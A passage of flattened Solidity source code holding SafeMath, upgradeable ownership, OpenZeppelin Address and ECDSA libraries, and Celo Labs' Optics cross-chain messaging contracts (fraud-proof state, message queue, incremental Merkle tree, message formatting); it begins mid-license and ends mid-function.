WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. */ /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c) { // Gas optimization: this is cheaper than asserting 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (_a == 0) { return 0; } c = _a * _b; require(c / _a == _b, "Overflow during multiplication."); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 _a, uint256 _b) internal pure returns (uint256) { // assert(_b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = _a / _b; // assert(_a == _b * c + _a % _b); // There is no case in which this doesn't hold return _a / _b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 _a, uint256 _b) internal pure returns (uint256) { require(_b <= _a, "Underflow during subtraction."); return _a - _b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 _a, uint256 _b) internal pure returns (uint256 c) { c = _a + _b; require(c >= _a, "Overflow during addition."); return c; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "../utils/ContextUpgradeable.sol"; import "../proxy/Initializable.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract OwnableUpgradeable is Initializable, ContextUpgradeable { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ function __Ownable_init() internal initializer { __Context_init_unchained(); __Ownable_init_unchained(); } function __Ownable_init_unchained() internal initializer { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } uint256[49] private __gap; } // SPDX-License-Identifier: MIT OR Apache-2.0 pragma solidity >=0.6.11; // ============ Internal Imports ============ import {Message} from "../libs/Message.sol"; // ============ External Imports ============ import {ECDSA} from "@openzeppelin/contracts/cryptography/ECDSA.sol"; import {Initializable} from "@openzeppelin/contracts-upgradeable/proxy/Initializable.sol"; /** * @title Common * @author Celo Labs Inc. * @notice Shared utilities between Home and Replica. */ abstract contract Common is Initializable { // ============ Enums ============ // States: // 0 - UnInitialized - before initialize function is called // note: the contract is initialized at deploy time, so it should never be in this state // 1 - Active - as long as the contract has not become fraudulent // 2 - Failed - after a valid fraud proof has been submitted; // contract will no longer accept updates or new messages enum States { UnInitialized, Active, Failed } // ============ Immutable Variables ============ // Domain of chain on which the contract is deployed uint32 public immutable localDomain; // ============ Public Variables ============ // Address of bonded Updater address public updater; // Current state of contract States public state; // The latest root that has been signed by the Updater bytes32 public committedRoot; // ============ Upgrade Gap ============ // gap for upgrade safety uint256[47] private __GAP; // ============ Events ============ /** * @notice Emitted when update is made on Home * or unconfirmed update root is submitted on Replica * @param homeDomain Domain of home contract * @param oldRoot Old merkle root * @param newRoot New merkle root * @param signature Updater's signature on `oldRoot` and `newRoot` */ event Update( uint32 indexed homeDomain, bytes32 indexed oldRoot, bytes32 indexed newRoot, bytes signature ); /** * @notice Emitted when proof of a double update is submitted, * which sets the contract to FAILED state * @param oldRoot Old root shared between two conflicting updates * @param newRoot Array containing two conflicting new roots * @param signature Signature on `oldRoot` and `newRoot`[0] * @param signature2 Signature on `oldRoot` and `newRoot`[1] */ event DoubleUpdate( bytes32 oldRoot, bytes32[2] newRoot, bytes signature, bytes signature2 ); // ============ Modifiers ============ /** * @notice Ensures that contract state != FAILED when the function is called */ modifier notFailed() { require(state != States.Failed, "failed state"); _; } // ============ Constructor ============ constructor(uint32 _localDomain) { localDomain = _localDomain; } // ============ Initializer ============ function __Common_initialize(address _updater) internal initializer { updater = _updater; state = States.Active; } // ============ External Functions ============ /** * @notice Called by external agent. Checks that signatures on two sets of * roots are valid and that the new roots conflict with each other. If both * cases hold true, the contract is failed and a `DoubleUpdate` event is * emitted. * @dev When `fail()` is called on Home, updater is slashed. * @param _oldRoot Old root shared between two conflicting updates * @param _newRoot Array containing two conflicting new roots * @param _signature Signature on `_oldRoot` and `_newRoot`[0] * @param _signature2 Signature on `_oldRoot` and `_newRoot`[1] */ function doubleUpdate( bytes32 _oldRoot, bytes32[2] calldata _newRoot, bytes calldata _signature, bytes calldata _signature2 ) external notFailed { if ( Common._isUpdaterSignature(_oldRoot, _newRoot[0], _signature) && Common._isUpdaterSignature(_oldRoot, _newRoot[1], _signature2) && _newRoot[0] != _newRoot[1] ) { _fail(); emit DoubleUpdate(_oldRoot, _newRoot, _signature, _signature2); } } // ============ Public Functions ============ /** * @notice Hash of Home domain concatenated with "OPTICS" */ function homeDomainHash() public view virtual returns (bytes32); // ============ Internal Functions ============ /** * @notice Hash of Home domain concatenated with "OPTICS" * @param _homeDomain the Home domain to hash */ function _homeDomainHash(uint32 _homeDomain) internal pure returns (bytes32) { return keccak256(abi.encodePacked(_homeDomain, "OPTICS")); } /** * @notice Set contract state to FAILED * @dev Called when a valid fraud proof is submitted */ function _setFailed() internal { state = States.Failed; } /** * @notice Moves the contract into failed state * @dev Called when fraud is proven * (Double Update is submitted on Home or Replica, * or Improper Update is submitted on Home) */ function _fail() internal virtual; /** * @notice Checks that signature was signed by Updater * @param _oldRoot Old merkle root * @param _newRoot New merkle root * @param _signature Signature on `_oldRoot` and `_newRoot` * @return TRUE iff signature is valid signed by updater **/ function _isUpdaterSignature( bytes32 _oldRoot, bytes32 _newRoot, bytes memory _signature ) internal view returns (bool) { bytes32 _digest = keccak256( abi.encodePacked(homeDomainHash(), _oldRoot, _newRoot) ); _digest = ECDSA.toEthSignedMessageHash(_digest); return (ECDSA.recover(_digest, _signature) == updater); } } // SPDX-License-Identifier: MIT OR Apache-2.0 pragma solidity >=0.6.11; /** * @title QueueLib * @author Celo Labs Inc. * @notice Library containing queue struct and operations for queue used by * Home and Replica. **/ library QueueLib { /** * @notice Queue struct * @dev Internally keeps track of the `first` and `last` elements through * indices and a mapping of indices to enqueued elements. **/ struct Queue { uint128 first; uint128 last; mapping(uint256 => bytes32) queue; } /** * @notice Initializes the queue * @dev Empty state denoted by _q.first > q._last. Queue initialized * with _q.first = 1 and _q.last = 0. **/ function initialize(Queue storage _q) internal { if (_q.first == 0) { _q.first = 1; } } /** * @notice Enqueues a single new element * @param _item New element to be enqueued * @return _last Index of newly enqueued element **/ function enqueue(Queue storage _q, bytes32 _item) internal returns (uint128 _last) { _last = _q.last + 1; _q.last = _last; if (_item != bytes32(0)) { // saves gas if we're queueing 0 _q.queue[_last] = _item; } } /** * @notice Dequeues element at front of queue * @dev Removes dequeued element from storage * @return _item Dequeued element **/ function dequeue(Queue storage _q) internal returns (bytes32 _item) { uint128 _last = _q.last; uint128 _first = _q.first; require(_length(_last, _first) != 0, "Empty"); _item = _q.queue[_first]; if (_item != bytes32(0)) { // saves gas if we're dequeuing 0 delete _q.queue[_first]; } _q.first = _first + 1; } /** * @notice Batch enqueues several elements * @param _items Array of elements to be enqueued * @return _last Index of last enqueued element **/ function enqueue(Queue storage _q, bytes32[] memory _items) internal returns (uint128 _last) { _last = _q.last; for (uint256 i = 0; i < _items.length; i += 1) { _last += 1; bytes32 _item = _items[i]; if (_item != bytes32(0)) { _q.queue[_last] = _item; } } _q.last = _last; } /** * @notice Batch dequeues `_number` elements * @dev Reverts if `_number` > queue length * @param _number Number of elements to dequeue * @return Array of dequeued elements **/ function dequeue(Queue storage _q, uint256 _number) internal returns (bytes32[] memory) { uint128 _last = _q.last; uint128 _first = _q.first; // Cannot underflow unless state is corrupted require(_length(_last, _first) >= _number, "Insufficient"); bytes32[] memory _items = new bytes32[](_number); for (uint256 i = 0; i < _number; i++) { _items[i] = _q.queue[_first]; delete _q.queue[_first]; _first++; } _q.first = _first; return _items; } /** * @notice Returns true if `_item` is in the queue and false if otherwise * @dev Linearly scans from _q.first to _q.last looking for `_item` * @param _item Item being searched for in queue * @return True if `_item` currently exists in queue, false if otherwise **/ function contains(Queue storage _q, bytes32 _item) internal view returns (bool) { for (uint256 i = _q.first; i <= _q.last; i++) { if (_q.queue[i] == _item) { return true; } } return false; } /// @notice Returns last item in queue /// @dev Returns bytes32(0) if queue empty function lastItem(Queue storage _q) internal view returns (bytes32) { return _q.queue[_q.last]; } /// @notice Returns element at front of queue without removing element /// @dev Reverts if queue is empty function peek(Queue storage _q) internal view returns (bytes32 _item) { require(!isEmpty(_q), "Empty"); _item = _q.queue[_q.first]; } /// @notice Returns true if queue is empty and false if otherwise function isEmpty(Queue storage _q) internal view returns (bool) { return _q.last < _q.first; } /// @notice Returns number of elements in queue function length(Queue storage _q) internal view returns (uint256) { uint128 _last = _q.last; uint128 _first = _q.first; // Cannot underflow unless state is corrupted return _length(_last, _first); } /// @notice Returns number of elements between `_last` and `_first` (used internally) function _length(uint128 _last, uint128 _first) internal pure returns (uint256) { return uint256(_last + 1 - _first); } } // SPDX-License-Identifier: MIT OR Apache-2.0 pragma solidity >=0.6.11; // work based on eth2 deposit contract, which is used under CC0-1.0 /** * @title MerkleLib * @author Celo Labs Inc. * @notice An incremental merkle tree modeled on the eth2 deposit contract. **/ library MerkleLib { uint256 internal constant TREE_DEPTH = 32; uint256 internal constant MAX_LEAVES = 2**TREE_DEPTH - 1; /** * @notice Struct representing incremental merkle tree. Contains current * branch and the number of inserted leaves in the tree. **/ struct Tree { bytes32[TREE_DEPTH] branch; uint256 count; } /** * @notice Inserts `_node` into merkle tree * @dev Reverts if tree is full * @param _node Element to insert into tree **/ function insert(Tree storage _tree, bytes32 _node) internal { require(_tree.count < MAX_LEAVES, "merkle tree full"); _tree.count += 1; uint256 size = _tree.count; for (uint256 i = 0; i < TREE_DEPTH; i++) { if ((size & 1) == 1) { _tree.branch[i] = _node; return; } _node = keccak256(abi.encodePacked(_tree.branch[i], _node)); size /= 2; } // As the loop should always end prematurely with the `return` statement, // this code should be unreachable. We assert `false` just to be safe. assert(false); } /** * @notice Calculates and returns`_tree`'s current root given array of zero * hashes * @param _zeroes Array of zero hashes * @return _current Calculated root of `_tree` **/ function rootWithCtx(Tree storage _tree, bytes32[TREE_DEPTH] memory _zeroes) internal view returns (bytes32 _current) { uint256 _index = _tree.count; for (uint256 i = 0; i < TREE_DEPTH; i++) { uint256 _ithBit = (_index >> i) & 0x01; bytes32 _next = _tree.branch[i]; if (_ithBit == 1) { _current = keccak256(abi.encodePacked(_next, _current)); } else { _current = keccak256(abi.encodePacked(_current, _zeroes[i])); } } } /// @notice Calculates and returns`_tree`'s current root function root(Tree storage _tree) internal view returns (bytes32) { return rootWithCtx(_tree, zeroHashes()); } /// @notice Returns array of TREE_DEPTH zero hashes /// @return _zeroes Array of TREE_DEPTH zero hashes function zeroHashes() internal pure returns (bytes32[TREE_DEPTH] memory _zeroes) { _zeroes[0] = Z_0; _zeroes[1] = Z_1; _zeroes[2] = Z_2; _zeroes[3] = Z_3; _zeroes[4] = Z_4; _zeroes[5] = Z_5; _zeroes[6] = Z_6; _zeroes[7] = Z_7; _zeroes[8] = Z_8; _zeroes[9] = Z_9; _zeroes[10] = Z_10; _zeroes[11] = Z_11; _zeroes[12] = Z_12; _zeroes[13] = Z_13; _zeroes[14] = Z_14; _zeroes[15] = Z_15; _zeroes[16] = Z_16; _zeroes[17] = Z_17; _zeroes[18] = Z_18; _zeroes[19] = Z_19; _zeroes[20] = Z_20; _zeroes[21] = Z_21; _zeroes[22] = Z_22; _zeroes[23] = Z_23; _zeroes[24] = Z_24; _zeroes[25] = Z_25; _zeroes[26] = Z_26; _zeroes[27] = Z_27; _zeroes[28] = Z_28; _zeroes[29] = Z_29; _zeroes[30] = Z_30; _zeroes[31] = Z_31; } /** * @notice Calculates and returns the merkle root for the given leaf * `_item`, a merkle branch, and the index of `_item` in the tree. * @param _item Merkle leaf * @param _branch Merkle proof * @param _index Index of `_item` in tree * @return _current Calculated merkle root **/ function branchRoot( bytes32 _item, bytes32[TREE_DEPTH] memory _branch, uint256 _index ) internal pure returns (bytes32 _current) { _current = _item; for (uint256 i = 0; i < TREE_DEPTH; i++) { uint256 _ithBit = (_index >> i) & 0x01; bytes32 _next = _branch[i]; if (_ithBit == 1) { _current = keccak256(abi.encodePacked(_next, _current)); } else { _current = keccak256(abi.encodePacked(_current, _next)); } } } // keccak256 zero hashes bytes32 internal constant Z_0 = hex"0000000000000000000000000000000000000000000000000000000000000000"; bytes32 internal constant Z_1 = hex"ad3228b676f7d3cd4284a5443f17f1962b36e491b30a40b2405849e597ba5fb5"; bytes32 internal constant Z_2 = hex"b4c11951957c6f8f642c4af61cd6b24640fec6dc7fc607ee8206a99e92410d30"; bytes32 internal constant Z_3 = hex"21ddb9a356815c3fac1026b6dec5df3124afbadb485c9ba5a3e3398a04b7ba85"; bytes32 internal constant Z_4 = hex"e58769b32a1beaf1ea27375a44095a0d1fb664ce2dd358e7fcbfb78c26a19344"; bytes32 internal constant Z_5 = hex"0eb01ebfc9ed27500cd4dfc979272d1f0913cc9f66540d7e8005811109e1cf2d"; bytes32 internal constant Z_6 = hex"887c22bd8750d34016ac3c66b5ff102dacdd73f6b014e710b51e8022af9a1968"; bytes32 internal constant Z_7 = hex"ffd70157e48063fc33c97a050f7f640233bf646cc98d9524c6b92bcf3ab56f83"; bytes32 internal constant Z_8 = hex"9867cc5f7f196b93bae1e27e6320742445d290f2263827498b54fec539f756af"; bytes32 internal constant Z_9 = hex"cefad4e508c098b9a7e1d8feb19955fb02ba9675585078710969d3440f5054e0"; bytes32 internal constant Z_10 = hex"f9dc3e7fe016e050eff260334f18a5d4fe391d82092319f5964f2e2eb7c1c3a5"; bytes32 internal constant Z_11 = hex"f8b13a49e282f609c317a833fb8d976d11517c571d1221a265d25af778ecf892"; bytes32 internal constant Z_12 = hex"3490c6ceeb450aecdc82e28293031d10c7d73bf85e57bf041a97360aa2c5d99c"; bytes32 internal constant Z_13 = hex"c1df82d9c4b87413eae2ef048f94b4d3554cea73d92b0f7af96e0271c691e2bb"; bytes32 internal constant Z_14 = hex"5c67add7c6caf302256adedf7ab114da0acfe870d449a3a489f781d659e8becc"; bytes32 internal constant Z_15 = hex"da7bce9f4e8618b6bd2f4132ce798cdc7a60e7e1460a7299e3c6342a579626d2"; bytes32 internal constant Z_16 = hex"2733e50f526ec2fa19a22b31e8ed50f23cd1fdf94c9154ed3a7609a2f1ff981f"; bytes32 internal constant Z_17 = hex"e1d3b5c807b281e4683cc6d6315cf95b9ade8641defcb32372f1c126e398ef7a"; bytes32 internal constant Z_18 = hex"5a2dce0a8a7f68bb74560f8f71837c2c2ebbcbf7fffb42ae1896f13f7c7479a0"; bytes32 internal constant Z_19 = hex"b46a28b6f55540f89444f63de0378e3d121be09e06cc9ded1c20e65876d36aa0"; bytes32 internal constant Z_20 = hex"c65e9645644786b620e2dd2ad648ddfcbf4a7e5b1a3a4ecfe7f64667a3f0b7e2"; bytes32 internal constant Z_21 = hex"f4418588ed35a2458cffeb39b93d26f18d2ab13bdce6aee58e7b99359ec2dfd9"; bytes32 internal constant Z_22 = hex"5a9c16dc00d6ef18b7933a6f8dc65ccb55667138776f7dea101070dc8796e377"; bytes32 internal constant Z_23 = hex"4df84f40ae0c8229d0d6069e5c8f39a7c299677a09d367fc7b05e3bc380ee652"; bytes32 internal constant Z_24 = hex"cdc72595f74c7b1043d0e1ffbab734648c838dfb0527d971b602bc216c9619ef"; bytes32 internal constant Z_25 = hex"0abf5ac974a1ed57f4050aa510dd9c74f508277b39d7973bb2dfccc5eeb0618d"; bytes32 internal constant Z_26 = hex"b8cd74046ff337f0a7bf2c8e03e10f642c1886798d71806ab1e888d9e5ee87d0"; bytes32 internal constant Z_27 = hex"838c5655cb21c6cb83313b5a631175dff4963772cce9108188b34ac87c81c41e"; bytes32 internal constant Z_28 = hex"662ee4dd2dd7b2bc707961b1e646c4047669dcb6584f0d8d770daf5d7e7deb2e"; bytes32 internal constant Z_29 = hex"388ab20e2573d171a88108e79d820e98f26c0b84aa8b2f4aa4968dbb818ea322"; bytes32 internal constant Z_30 = hex"93237c50ba75ee485f4c22adf2f741400bdf8d6a9cc7df7ecae576221665d735"; bytes32 internal constant Z_31 = hex"8448818bb4ae4562849e949e17ac16e0be16688e156b5cf15e098c627c0056a9"; } // SPDX-License-Identifier: MIT OR Apache-2.0 pragma solidity >=0.6.11; import "@summa-tx/memview-sol/contracts/TypedMemView.sol"; import { TypeCasts } from "./TypeCasts.sol"; /** * @title Message Library * @author Celo Labs Inc. * @notice Library for formatted messages used by Home and Replica. **/ library Message { using TypedMemView for bytes; using TypedMemView for bytes29; // Number of bytes in formatted message before `body` field uint256 internal constant PREFIX_LENGTH = 76; /** * @notice Returns formatted (packed) message with provided fields * @param _originDomain Domain of home chain * @param _sender Address of sender as bytes32 * @param _nonce Destination-specific nonce * @param _destinationDomain Domain of destination chain * @param _recipient Address of recipient on destination chain as bytes32 * @param _messageBody Raw bytes of message body * @return Formatted message **/ function formatMessage( uint32 _originDomain, bytes32 _sender, uint32 _nonce, uint32 _destinationDomain, bytes32 _recipient, bytes memory _messageBody ) internal pure returns (bytes memory) { return abi.encodePacked( _originDomain, _sender, _nonce, _destinationDomain, _recipient, _messageBody ); } /** * @notice Returns leaf of formatted message with provided fields. * @param _origin Domain of home chain * @param _sender Address of sender as bytes32 * @param _nonce Destination-specific nonce number * @param _destination Domain of destination chain * @param _recipient Address of recipient on destination chain as bytes32 * @param _body Raw bytes of message body * @return Leaf (hash) of formatted message **/ function messageHash( uint32 _origin, bytes32 _sender, uint32 _nonce, uint32 _destination, bytes32 _recipient, bytes memory _body ) internal pure returns (bytes32) { return keccak256( formatMessage( _origin, _sender, _nonce, _destination, _recipient, _body ) ); } /// @notice Returns message's origin field function origin(bytes29 _message) internal pure returns (uint32) { return uint32(_message.indexUint(0, 4)); } /// @notice Returns message's sender field function sender(bytes29 _message) internal pure returns (bytes32) { return _message.index(4, 32); } /// @notice Returns message's nonce field function nonce(bytes29 _message) internal pure returns (uint32) { return uint32(_message.indexUint(36, 4)); } /// @notice Returns message's destination field function destination(bytes29 _message) internal pure returns (uint32) { return uint32(_message.indexUint(40, 4)); } /// @notice Returns message's recipient field as bytes32 function recipient(bytes29 _message) internal pure returns (bytes32) { return _message.index(44, 32); } /// @notice Returns message's recipient field as an address function recipientAddress(bytes29 _message) internal pure returns (address) { return TypeCasts.bytes32ToAddress(recipient(_message)); } /// @notice Returns message's body field as bytes29 (refer to TypedMemView library for details on bytes29 type) function body(bytes29 _message) internal pure returns (bytes29) { return _message.slice(PREFIX_LENGTH, _message.len() - PREFIX_LENGTH, 0); } function leaf(bytes29 _message) internal view returns (bytes32) { return messageHash(origin(_message), sender(_message), nonce(_message), destination(_message), recipient(_message), TypedMemView.clone(body(_message))); } } // SPDX-License-Identifier: MIT OR Apache-2.0 pragma solidity >=0.6.11; // ============ Internal Imports ============ import {MerkleLib} from "../libs/Merkle.sol"; /** * @title MerkleTreeManager * @author Celo Labs Inc. * @notice Contains a Merkle tree instance and * exposes view functions for the tree. */ contract MerkleTreeManager { // ============ Libraries ============ using MerkleLib for MerkleLib.Tree; MerkleLib.Tree public tree; // ============ Upgrade Gap ============ // gap for upgrade safety uint256[49] private __GAP; // ============ Public Functions ============ /** * @notice Calculates and returns tree's current root */ function root() public view returns (bytes32) { return tree.root(); } /** * @notice Returns the number of inserted leaves in the tree (current index) */ function count() public view returns (uint256) { return tree.count; } } // SPDX-License-Identifier: MIT OR Apache-2.0 pragma solidity >=0.6.11; // ============ Internal Imports ============ import {QueueLib} from "../libs/Queue.sol"; // ============ External Imports ============ import {Initializable} from "@openzeppelin/contracts-upgradeable/proxy/Initializable.sol"; /** * @title QueueManager * @author Celo Labs Inc. * @notice Contains a queue instance and * exposes view functions for the queue. **/ contract QueueManager is Initializable { // ============ Libraries ============ using QueueLib for QueueLib.Queue; QueueLib.Queue internal queue; // ============ Upgrade Gap ============ // gap for upgrade safety uint256[49] private __GAP; // ============ Initializer ============ function __QueueManager_initialize() internal initializer { queue.initialize(); } // ============ Public Functions ============ /** * @notice Returns number of elements in queue */ function queueLength() external view returns (uint256) { return queue.length(); } /** * @notice Returns TRUE iff `_item` is in the queue */ function queueContains(bytes32 _item) external view returns (bool) { return queue.contains(_item); } /** * @notice Returns last item enqueued to the queue */ function queueEnd() external view returns (bytes32) { return queue.lastItem(); } } // SPDX-License-Identifier: MIT OR Apache-2.0 pragma solidity >=0.6.11; interface IUpdaterManager { function slashUpdater(address payable _reporter) external; function updater() external view returns (address); } // SPDX-License-Identifier: MIT pragma solidity >=0.6.2 <0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Elliptic Curve Digital Signature Algorithm (ECDSA) operations. * * These functions can be used to verify that a message was signed by the holder * of the private keys of a given address. */ library ECDSA { /** * @dev Returns the address that signed a hashed message (`hash`) with * `signature`. This address can then be used for verification purposes. * * The `ecrecover` EVM opcode allows for malleable (non-unique) signatures: * this function rejects them by requiring the `s` value to be in the lower * half order, and the `v` value to be either 27 or 28. * * IMPORTANT: `hash` _must_ be the result of a hash operation for the * verification to be secure: it is possible to craft signatures that * recover to arbitrary addresses for non-hashed data. A safe way to ensure * this is by receiving a hash of the original message (which may otherwise * be too long), and then calling {toEthSignedMessageHash} on it. */ function recover(bytes32 hash, bytes memory signature) internal pure returns (address) { // Check the signature length if (signature.length != 65) { revert("ECDSA: invalid signature length"); } // Divide the signature in r, s and v variables bytes32 r; bytes32 s; uint8 v; // ecrecover takes the signature parameters, and the only way to get them // currently is to use assembly. // solhint-disable-next-line no-inline-assembly assembly { r := mload(add(signature, 0x20)) s := mload(add(signature, 0x40)) v := byte(0, mload(add(signature, 0x60))) } return recover(hash, v, r, s); } /** * @dev Overload of {ECDSA-recover-bytes32-bytes-} that receives the `v`, * `r` and `s` signature fields separately. */ function recover(bytes32 hash, uint8 v, bytes32 r, bytes32 s) internal pure returns (address) { // EIP-2 still allows signature malleability for ecrecover(). Remove this possibility and make the signature // unique. Appendix F in the Ethereum Yellow paper (https://ethereum.github.io/yellowpaper/paper.pdf), defines // the valid range for s in (281): 0 < s < secp256k1n ÷ 2 + 1, and for v in (282): v ∈ {27, 28}. Most // signatures from current libraries generate a unique signature with an s-value in the lower half order. // // If your library generates malleable signatures, such as s-values in the upper range, calculate a new s-value // with 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 - s1 and flip v from 27 to 28 or // vice versa. If your library also generates signatures with 0/1 for v instead 27/28, add 27 to v to accept // these malleable signatures as well. require(uint256(s) <= 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0, "ECDSA: invalid signature 's' value"); require(v == 27 || v == 28, "ECDSA: invalid signature 'v' value"); // If the signature is valid (and not malleable), return the signer address address signer = ecrecover(hash, v, r, s); require(signer != address(0), "ECDSA: invalid signature"); return signer; } /** * @dev Returns an Ethereum Signed Message, created from a `hash`. This * replicates the behavior of the * https://github.com/ethereum/wiki/wiki/JSON-RPC#eth_sign[`eth_sign`] * JSON-RPC method. * * See {recover}. */ function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) { // 32 is the length in bytes of hash, // enforced by the type signature above return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash)); } } // SPDX-License-Identifier: MIT OR Apache-2.0 pragma solidity >=0.6.11; import "@summa-tx/memview-sol/contracts/TypedMemView.sol"; library TypeCasts { using TypedMemView for bytes; using TypedMemView for bytes29; function coerceBytes32(string memory _s) internal pure returns (bytes32 _b) { _b = bytes(_s).ref(0).index(0, uint8(bytes(_s).length)); } // treat it as a null-terminated string of max 32 bytes function coerceString(bytes32 _buf) internal pure returns (string memory _newStr) { uint8 _slen = 0; while (_slen < 32 && _buf[_slen] != 0) { _slen++; } // solhint-disable-next-line no-inline-assembly assembly { _newStr := mload(0x40) 